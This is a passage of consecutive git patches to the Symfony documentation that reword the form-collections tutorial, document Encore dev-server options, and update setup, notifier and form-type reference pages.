-:doc:`CollectionType </reference/forms/types/collection>` field::
+Next, let's create a form for the ``Task`` entity, using a
+:doc:`CollectionType </reference/forms/types/collection>` field of
+``TagType`` forms. This will allow us to modify the ``Tag``s of a
+``Task`` right inside the task form itself::
 
     // src/AppBundle/Form/TaskType.php
     namespace AppBundle\Form;

From e0ec8d930a45008383e7107d2adcf84c56b7e9f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 14:14:28 +0200
Subject: [PATCH 0565/7107] Shortening the lenghty Xdebug explanation

---
 form/form_collections.rst | 30 +++++++++---------------------
 1 file changed, 9 insertions(+), 21 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d5d26a873eb..665eaadedb1 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -210,32 +210,20 @@ zero tags when first created).
 
     {# ... #}
 
-When the user submits the form, the submitted data for the ``tags`` field are
+When the user submits the form, the submitted data for the ``tags`` field is
 used to construct an ``ArrayCollection`` of ``Tag`` objects, which is then set
-on the ``tag`` field of the ``Task`` instance.
+on the ``tag`` field of the ``Task``. It can be accessed via ``$task->getTags()``.
 
-The ``tags`` collection is accessible naturally via ``$task->getTags()``
-and can be persisted to the database or used however you need.
-
-So far, this works great, but this doesn't allow you to dynamically add new
-tags or delete existing tags. So, while editing existing tags will work
-great, your user can't actually add any new tags yet.
+So far, this works great, but only to edit *existing* tags. It doesn't allow us
+yet to add new tags or delete existing ones.
 
 .. caution::
 
-    In this article, you embed only one collection, but you are not limited
-    to this. You can also embed nested collection as many levels down as you
-    like. But if you use Xdebug in your development setup, you may receive
-    a ``Maximum function nesting level of '100' reached, aborting!`` error.
-    This is due to the ``xdebug.max_nesting_level`` PHP setting, which defaults
-    to ``100``.
-
-    This directive limits recursion to 100 calls which may not be enough for
-    rendering the form in the template if you render the whole form at
-    once (e.g ``form_widget(form)``). To fix this you can set this directive
-    to a higher value (either via a ``php.ini`` file or via :phpfunction:`ini_set`,
-    for example in ``app/autoload.php``) or render each form field by hand
-    using ``form_row()``.
+    You can embed nested collections as many levels down as you like. However,
+    if you use Xdebug, you may receive a ``Maximum function nesting level of '100'
+    reached, aborting!`` error. To fix this, increase the ``xdebug.max_nesting_level``
+    PHP setting, or render each form field by hand using ``form_row()`` instead of
+    rendering the whole form at once (e.g ``form_widget(form)``).
 
 .. _form-collections-new-prototype:
 

From 9dcb0826760002af3a1a56b5f4607e92c9dbc94f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 14:29:56 +0200
Subject: [PATCH 0566/7107] Shortening the "Prototype" paragraph

---
 form/form_collections.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d5d26a873eb..9c26cd70efa 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -242,16 +242,13 @@ great, your user can't actually add any new tags yet.
 Allowing "new" Tags with the "Prototype"
 ----------------------------------------
 
-Allowing the user to dynamically add new tags means that you'll need to
-use some JavaScript. Previously you added two tags to your form in the controller.
-Now let the user add as many tag forms as they need directly in the browser.
+Previously we added two dummy tags to our task in the controller.
+Now let the users add as many tag forms as they need directly in the browser.
 This will be done through a bit of JavaScript.
 
-The first thing you need to do is to let the form collection know that it will
-receive an unknown number of tags. So far you've added two tags and the form
-type expects to receive exactly two, otherwise an error will be thrown:
-``This form should not contain extra fields``. To make this flexible,
-add the ``allow_add`` option to your collection field::
+But first, we need to let the form collection know that instead of exactly two,
+it will receive an *unknown* number of tags. This is done with the
+``allow_add`` option::
 
     // src/AppBundle/Form/TaskType.php
 

From 4d76f623a81bd2121ad61e36b2dff92d4bec5906 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 15:05:46 +0200
Subject: [PATCH 0567/7107] Rephrasing `data-prototype` paragraph

---
 form/form_collections.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d5d26a873eb..e934548f505 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -269,16 +269,14 @@ add the ``allow_add`` option to your collection field::
         ]);
     }
 
-In addition to telling the field to accept any number of submitted objects, the
-``allow_add`` also makes a *"prototype"* variable available to you. This "prototype"
-is a little "template" that contains all the HTML to be able to render any
-new "tag" forms. To render it, make the following change to your template:
+The ``allow_add`` option also makes a ``prototype`` variable available to you.
+This "prototype" is a little "template" that contains all the HTML needed to
+dynamically create any new "tag" forms with JavaScript. To render the prototype, add
+the following ``data-prototype`` attribute to the existing ``<ul>`` in your template:
 
 .. code-block:: html+twig
 
     <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}">
-        ...
-    </ul>
 
 .. note::
 

From 869727d0ccef3ee9e61427c26abbeadecad32f46 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <kocal@live.fr>
Date: Sat, 28 Mar 2020 15:45:19 +0100
Subject: [PATCH 0568/7107] Encore: add documentation for
 Encore.configureDevServerOptions()

See https://github.com/symfony/webpack-encore/pull/693
---
 frontend/encore/dev-server.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 2f17654cec5..601617e3282 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -26,6 +26,25 @@ by the normal `webpack-dev-server`_. For example:
 
 This will start a server at ``https://localhost:9000``.
 
+If you prefer, you can use ``Encore.configureDevServerOptions()`` to configure `webpack-dev-server`_ in your ``webpack.config.js`` file.
+For example:
+
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.https = {
+                key: '/path/to/server.key',
+                cert: '/path/to/server.crt',
+            }
+        })
+    ;
+
 Hot Module Replacement HMR
 --------------------------
 

From 054add572448ea5146f93d398aa3ba8078ee71a1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Mar 2020 15:35:15 +0200
Subject: [PATCH 0569/7107] Minor reword

---
 frontend/encore/dev-server.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 601617e3282..5da7d778cd7 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -17,17 +17,15 @@ Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <lo
 in some other way), you're done: the paths in your templates will automatically point
 to the dev server.
 
-You can also pass options to the ``dev-server`` command: any options that are supported
-by the normal `webpack-dev-server`_. For example:
+The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
+You can set these options via command line options:
 
 .. code-block:: terminal
 
     $ yarn encore dev-server --https --port 9000
 
-This will start a server at ``https://localhost:9000``.
-
-If you prefer, you can use ``Encore.configureDevServerOptions()`` to configure `webpack-dev-server`_ in your ``webpack.config.js`` file.
-For example:
+You can also set these options using the ``Encore.configureDevServerOptions()``
+method in your ``webpack.config.js`` file:
 
 .. code-block:: javascript
 
@@ -45,6 +43,10 @@ For example:
         })
     ;
 
+.. versionadded:: 0.28.4
+
+    The ``Encore.configureDevServerOptions()`` method was introduced in Encore 0.28.4.
+
 Hot Module Replacement HMR
 --------------------------
 

From e2f28b10a3eb8847e5ba863b7d4dbe4991d2a592 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Fri, 27 Mar 2020 13:59:55 +0100
Subject: [PATCH 0570/7107] Update error_pages.rst

remove aliases
---
 controller/error_pages.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index f59eda0c0f6..8002f3848e4 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -54,7 +54,7 @@ this command to ensure both are installed:
 
 .. code-block:: terminal
 
-    $ composer require twig
+    $ composer require symfony/twig-pack
 
 When the error page loads, :class:`Symfony\\Bridge\\Twig\\ErrorRenderer\\TwigErrorRenderer`
 is used to render a Twig template to show the user.
@@ -201,7 +201,7 @@ To override non-HTML error output, the Serializer component needs to be installe
 
 .. code-block:: terminal
 
-    $ composer require serializer
+    $ composer require symfony/serializer-pack
 
 The Serializer component has a built-in ``FlattenException`` normalizer
 (:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`) and

From 477dac1e42725c272927a8c9b90ced164debfe79 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Mar 2020 15:56:26 +0200
Subject: [PATCH 0571/7107] Remove the word "simple"

---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 99c63bcfb83..cd1a7e2c240 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -19,7 +19,7 @@ that Task, right inside the same form.
     including the ``ManyToMany`` association mapping definition on the Task's
     ``tags`` property.
 
-Let's start by creating a simple ``Task`` entity::
+Let's start by creating a ``Task`` entity::
 
     // src/AppBundle/Entity/Task.php
     namespace AppBundle\Entity;

From 2a0e7aba377170db943f335bea34df0515388ca1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 13:55:21 +0200
Subject: [PATCH 0572/7107] Shortening the next paragraph

---
 form/form_collections.rst | 17 ++++-------------
 1 file changed, 4 insertions(+), 13 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index cd1a7e2c240..c40d4952e93 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -157,8 +157,7 @@ In your controller, you'll create a new form from the ``TaskType``::
         {
             $task = new Task();
 
-            // dummy code - this is here just so that the Task has some tags
-            // otherwise, this isn't an interesting example
+            // dummy code - add some tags to the task to play with
             $tag1 = new Tag();
             $tag1->setName('tag1');
             $task->getTags()->add($tag1);
@@ -172,7 +171,7 @@ In your controller, you'll create a new form from the ``TaskType``::
             $form->handleRequest($request);
 
             if ($form->isSubmitted() && $form->isValid()) {
-                // ... maybe do some form processing, like saving the Task and Tag objects
+                // ... do your form processing, like saving the Task and Tag entities
             }
 
             return $this->render('task/new.html.twig', [
@@ -181,11 +180,8 @@ In your controller, you'll create a new form from the ``TaskType``::
         }
     }
 
-The corresponding template is now able to render both the ``description``
-field for the task form as well as all the ``TagType`` forms for any tags
-that are already related to this ``Task``. In the above controller, I added
-some dummy code so that you can see this in action (since a ``Task`` has
-zero tags when first created).
+In the template, we need to iterate over the existing ``TagType`` forms
+to render them:
 
 .. code-block:: html+twig
 
@@ -194,20 +190,15 @@ zero tags when first created).
     {# ... #}
 
     {{ form_start(form) }}
-        {# render the task's only field: description #}
         {{ form_row(form.description) }}
-
         <h3>Tags</h3>
         <ul class="tags">
-            {# iterate over each existing tag and render its only field: name #}
             {% for tag in form.tags %}
                 <li>{{ form_row(tag.name) }}</li>
             {% endfor %}
         </ul>
     {{ form_end(form) }}
 
-    {# ... #}
-
 When the user submits the form, the submitted data for the ``tags`` field are
 used to construct an ``ArrayCollection`` of ``Tag`` objects, which is then set
 on the ``tag`` field of the ``Task`` instance.

From 18bfe44e0bbe5af591ea8e83d4aa9f2f90206c09 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Mar 2020 16:03:50 +0200
Subject: [PATCH 0573/7107] Minor reword

---
 form/form_collections.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index c40d4952e93..22199b9ab6b 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -157,7 +157,8 @@ In your controller, you'll create a new form from the ``TaskType``::
         {
             $task = new Task();
 
-            // dummy code - add some tags to the task to play with
+            // dummy code - add some example tags to the task
+            // (otherwise, the template will render an empty list of tags)
             $tag1 = new Tag();
             $tag1->setName('tag1');
             $task->getTags()->add($tag1);
@@ -180,7 +181,7 @@ In your controller, you'll create a new form from the ``TaskType``::
         }
     }
 
-In the template, we need to iterate over the existing ``TagType`` forms
+In the template, you can now iterate over the existing ``TagType`` forms
 to render them:
 
 .. code-block:: html+twig
@@ -191,6 +192,7 @@ to render them:
 
     {{ form_start(form) }}
         {{ form_row(form.description) }}
+
         <h3>Tags</h3>
         <ul class="tags">
             {% for tag in form.tags %}
@@ -199,6 +201,8 @@ to render them:
         </ul>
     {{ form_end(form) }}
 
+    {# ... #}
+
 When the user submits the form, the submitted data for the ``tags`` field are
 used to construct an ``ArrayCollection`` of ``Tag`` objects, which is then set
 on the ``tag`` field of the ``Task`` instance.

From e427955ddd215d1ed4669560ddac015f4a3a5c24 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 15:12:36 +0200
Subject: [PATCH 0574/7107] Moving the "On the rendered page" paragraph upwards

---
 form/form_collections.rst | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d5d26a873eb..a5ce6c2facd 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,6 +280,17 @@ new "tag" forms. To render it, make the following change to your template:
         ...
     </ul>
 
+On the rendered page, the result will look something like this:
+
+.. code-block:: html
+
+    <ul class="tags" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+
+.. seealso::
+
+    If you want to customize the HTML code in the prototype, see
+    :ref:`form-custom-prototype`.
+
 .. note::
 
     If you render your whole "tags" sub-form at once (e.g. ``form_row(form.tags)``),
@@ -298,12 +309,6 @@ new "tag" forms. To render it, make the following change to your template:
 
         {{ form_widget(form.tags.vars.prototype.name)|e }}
 
-On the rendered page, the result will look something like this:
-
-.. code-block:: html
-
-    <ul class="tags" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
-
 The goal of this section will be to use JavaScript to read this attribute
 and dynamically add new tag forms when the user clicks a "Add a tag" link.
 To make things simple, this example uses jQuery and assumes you have it included
@@ -389,11 +394,6 @@ into new ``Tag`` objects and added to the ``tags`` property of the ``Task`` obje
 
     You can find a working example in this `JSFiddle`_.
 
-.. seealso::
-
-    If you want to customize the HTML code in the prototype, read
-    :ref:`form-custom-prototype`.
-
 To make handling these new tags easier, add an "adder" and a "remover" method
 for the tags in the ``Task`` class::
 

From 57b7a9543db973f5ee937b5f7bca37c8369816a8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 17:07:32 +0200
Subject: [PATCH 0575/7107] Simplifying the code block

Second attempt of https://github.com/symfony/symfony-docs/pull/13446
Still don't know what went wrong with the RST syntax (I did keep the `::` in the first commit last time), so I'm trying it step after step now.
---
 form/form_collections.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 6efb88d9fa7..c23e7d74c74 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -249,7 +249,6 @@ add the ``allow_add`` option to your collection field::
     // src/Form/TaskType.php
 
     // ...
-    use Symfony\Component\Form\FormBuilderInterface;
 
     public function buildForm(FormBuilderInterface $builder, array $options)
     {

From a6da8735e7a9ccfdb17194f32b88eddeb307809e Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Tue, 31 Mar 2020 01:27:04 +0530
Subject: [PATCH 0576/7107] Typo and namespace import reference fixed

---
 notifier/chatters.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 4850c96e0e8..17eac35885f 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -10,14 +10,15 @@ How to send Chat Messages
     :doc:`experimental feature </contributing/code/experimental>`.
 
 The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
-you to sent messages to chat services like Slack or Telegram::
+you to send messages to chat services like Slack or Telegram::
 
     // src/Controller/CheckoutController.php
     namespace App\Controller;
 
-    use Symfony\Component\Notifier\Notification\Notification;
-    use Symfony\Component\Notifier\NotifierInterface;
-    use Symfony\Component\Notifier\Recipient\AdminRecipient;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Notifier\ChatterInterface;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class CheckoutController extends AbstractController
     {

From af426294b8d5c07adbb5e624d4cd8e18297bbd0f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 31 Mar 2020 10:46:26 +0200
Subject: [PATCH 0577/7107] Temporary fix for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index efc63dba577..b6cac043dfc 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -59,6 +59,7 @@ whitelist:
         - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 0.21.0' # Encore
+        - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.30' # Twig
         - '.. versionadded:: 1.35' # Twig

From 877d031baeb4dee420a845040aa72b41ea4444d4 Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Tue, 31 Mar 2020 01:20:56 +0530
Subject: [PATCH 0578/7107] Namespace import reference missing

---
 notifier/texters.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/notifier/texters.rst b/notifier/texters.rst
index 897d02df4b4..d4a0a91aa55 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -14,6 +14,10 @@ you to send SMS messages::
 
     // src/Controller/SecurityController.php
     namespace App\Controller;
+    
+    use Symfony\Component\Notifier\Message\SmsMessage;
+    use Symfony\Component\Notifier\TexterInterface;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class SecurityController
     {

From 37aa9749f67fe4b3c62c89e214a04868ec2f8065 Mon Sep 17 00:00:00 2001
From: Oleksandr Savchenko <savchenko.oleksandr.ua@gmail.com>
Date: Tue, 31 Mar 2020 12:46:51 +0300
Subject: [PATCH 0579/7107] add empty_data to the form HiddenType

---
 reference/forms/types/hidden.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 5f63c8f5772..fd7ab6cc1f4 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -14,7 +14,8 @@ The hidden type represents a hidden input field.
 |             | - `required`_                                                        |
 +-------------+----------------------------------------------------------------------+
 | Inherited   | - `data`_                                                            |
-| options     | - `error_mapping`_                                                   |
+| options     | - `empty_data`_                                                      |
+|             | - `error_mapping`_                                                   |
 |             | - `mapped`_                                                          |
 |             | - `property_path`_                                                   |
 +-------------+----------------------------------------------------------------------+
@@ -49,6 +50,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/data.rst.inc
 
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc

From 9c760d43943b6d7a791087839513c46b66f2e511 Mon Sep 17 00:00:00 2001
From: Matthieu Mota <matthieumota@gmail.com>
Date: Mon, 30 Mar 2020 17:56:39 +0200
Subject: [PATCH 0580/7107] Fix count input on form collection

---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d7e98b9ed88..4fb5f37ee70 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -328,7 +328,7 @@ will be show next):
 
         // count the current form inputs we have (e.g. 2), use that as the new
         // index when inserting a new item (e.g. 2)
-        $collectionHolder.data('index', $collectionHolder.find(':input').length);
+        $collectionHolder.data('index', $collectionHolder.find('input').length);
 
         $addTagButton.on('click', function(e) {
             // add a new tag form (see next code block)

From dd3901804f5eb3cac98d76cb7e00b2bbeb418c67 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 31 Mar 2020 15:41:07 +0200
Subject: [PATCH 0581/7107] Document support for Memcached in Docker Compose

---
 setup/symfony_server.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 2e38b29884d..4dc290e58a8 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -286,6 +286,7 @@ Service       Port      Symfony default prefix
 MySQL         3306      ``DATABASE_``
 PostgreSQL    5432      ``DATABASE_``
 Redis         6379      ``REDIS_``
+Memcached     11211     ``MEMCACHED_``
 RabbitMQ      5672      ``RABBITMQ_`` (set user and pass via Docker ``RABBITMQ_DEFAULT_USER`` and ``RABBITMQ_DEFAULT_PASS`` env var)
 Elasticsearch 9200      ``ELASTICSEARCH_``
 MongoDB       27017     ``MONGODB_`` (set the database via a Docker ``MONGO_DATABASE`` env var)

From f8a8eeb2029b29df4ebdf232cca65a1fa4b6afc0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 31 Mar 2020 15:51:15 +0200
Subject: [PATCH 0582/7107] Minor tweak

---
 form/form_collections.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 77cac7954b0..77d32a83e16 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -105,9 +105,9 @@ Then, create a form class so that a ``Tag`` object can be modified by the user::
     }
 
 Next, let's create a form for the ``Task`` entity, using a
-:doc:`CollectionType </reference/forms/types/collection>` field of
-``TagType`` forms. This will allow us to modify the ``Tag``s of a
-``Task`` right inside the task form itself::
+:doc:`CollectionType </reference/forms/types/collection>` field of ``TagType``
+forms. This will allow us to modify all the ``Tag`` elements of a ``Task`` right
+inside the task form itself::
 
     // src/AppBundle/Form/TaskType.php
     namespace AppBundle\Form;

From abe2750ac209f5d45b101a096334d35733d264ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 31 Mar 2020 16:01:56 +0200
Subject: [PATCH 0583/7107] Minor tweak

---
 form/form_collections.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 10b78524ae8..2067197d950 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -202,8 +202,8 @@ to render them:
     {# ... #}
 
 When the user submits the form, the submitted data for the ``tags`` field is
-used to construct an ``ArrayCollection`` of ``Tag`` objects, which is then set
-on the ``tag`` field of the ``Task``. It can be accessed via ``$task->getTags()``.
+used to construct an ``ArrayCollection`` of ``Tag`` objects. The collection is
+then set on the ``tag`` field of the ``Task`` and can be accessed via ``$task->getTags()``.
 
 So far, this works great, but only to edit *existing* tags. It doesn't allow us
 yet to add new tags or delete existing ones.

From 6fb183aed28430cae8fd4309674ae63612982057 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 31 Mar 2020 16:16:20 +0200
Subject: [PATCH 0584/7107] Rephrasing the "If you render your whole" note (2nd
 attempt)

Re-submitting https://github.com/symfony/symfony-docs/pull/13449 to fix conflict
---
 form/form_collections.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 2067197d950..0451a5dd5e2 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -268,12 +268,6 @@ On the rendered page, the result will look something like this:
     If you want to customize the HTML code in the prototype, see
     :ref:`form-custom-prototype`.
 
-.. note::
-
-    If you render your whole "tags" sub-form at once (e.g. ``form_row(form.tags)``),
-    then the prototype is automatically available on the outer ``div`` as
-    the ``data-prototype`` attribute, similar to what you see above.
-
 .. tip::
 
     The ``form.tags.vars.prototype`` is a form element that looks and feels just
@@ -286,6 +280,12 @@ On the rendered page, the result will look something like this:
 
         {{ form_widget(form.tags.vars.prototype.name)|e }}
 
+.. note::
+
+    If you render your whole "tags" sub-form at once (e.g. ``form_row(form.tags)``),
+    the ``data-prototype`` attribute is automatically added to the containing ``div``,
+    and you need to adjust the following JavaScript accordingly.
+
 The goal of this section will be to use JavaScript to read this attribute
 and dynamically add new tag forms when the user clicks a "Add a tag" link.
 To make things simple, this example uses jQuery and assumes you have it included

From 2e157f300ab7124d290da147cb07fe89a230b1ac Mon Sep 17 00:00:00 2001
From: Bob den Otter <bobdenotter@gmail.com>
Date: Tue, 31 Mar 2020 16:37:07 +0200
Subject: [PATCH 0585/7107] Update setup.rst - Friendlier phrasing for people
 choosing not to use th Symfony CLI

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 89806a1e43e..c305cd9f3d8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -51,8 +51,8 @@ The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
 usually need to build web applications, so the installation size will be bigger.
 
-If you can't or don't want to `install Symfony`_ for any reason, run these
-commands to create the new Symfony application using Composer:
+If you're not using the Symfony binary, run these commands to create the new 
+Symfony application using Composer:
 
 .. code-block:: terminal
 

From dfe0cf83428dec50f7450fd047a037ca2f264de8 Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Tue, 31 Mar 2020 17:31:46 +0200
Subject: [PATCH 0586/7107] No longer list the Symfony binary as a requirement

---
 setup.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index c305cd9f3d8..96ac7603850 100644
--- a/setup.rst
+++ b/setup.rst
@@ -20,11 +20,13 @@ Before creating your first Symfony application you must:
 * Install PHP 7.1 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
-* `Install Composer`_, which is used to install PHP packages;
-* `Install Symfony`_, which creates in your computer a binary called ``symfony``
-  that provides all the tools you need to develop your application locally.
+* `Install Composer`_, which is used to install PHP packages.
 
-The ``symfony`` binary provides a tool to check if your computer meets these
+Optionally, you can also `install Symfony`_. This creates a binary called
+``symfony`` that provides all the tools you need to develop and run your
+Symfony application locally.
+
+The ``symfony`` binary provides a tool to check if your computer meets all
 requirements. Open your console terminal and run this command:
 
 .. code-block:: terminal

From 84e7606210e67b6eaa09b5f8cb4f77f03fbba0b8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Apr 2020 08:53:09 +0200
Subject: [PATCH 0587/7107] Tweak

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 96ac7603850..64b0a6ecc07 100644
--- a/setup.rst
+++ b/setup.rst
@@ -22,11 +22,11 @@ Before creating your first Symfony application you must:
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 * `Install Composer`_, which is used to install PHP packages.
 
-Optionally, you can also `install Symfony`_. This creates a binary called
+Optionally, you can also `install Symfony CLI`_. This creates a binary called
 ``symfony`` that provides all the tools you need to develop and run your
 Symfony application locally.
 
-The ``symfony`` binary provides a tool to check if your computer meets all
+The ``symfony`` binary also provides a tool to check if your computer meets all
 requirements. Open your console terminal and run this command:
 
 .. code-block:: terminal
@@ -53,7 +53,7 @@ The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
 usually need to build web applications, so the installation size will be bigger.
 
-If you're not using the Symfony binary, run these commands to create the new 
+If you're not using the Symfony binary, run these commands to create the new
 Symfony application using Composer:
 
 .. code-block:: terminal
@@ -209,7 +209,7 @@ command to unpack the already installed packs: ``composer unpack PACK_NAME``
 Checking Security Vulnerabilities
 ---------------------------------
 
-The ``symfony`` binary created when you `install Symfony`_ provides a command to
+The ``symfony`` binary created when you `install Symfony CLI`_ provides a command to
 check whether your project's dependencies contain any known security
 vulnerability:
 
@@ -293,8 +293,8 @@ Learn More
 
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
-.. _`Install Symfony`: https://symfony.com/download
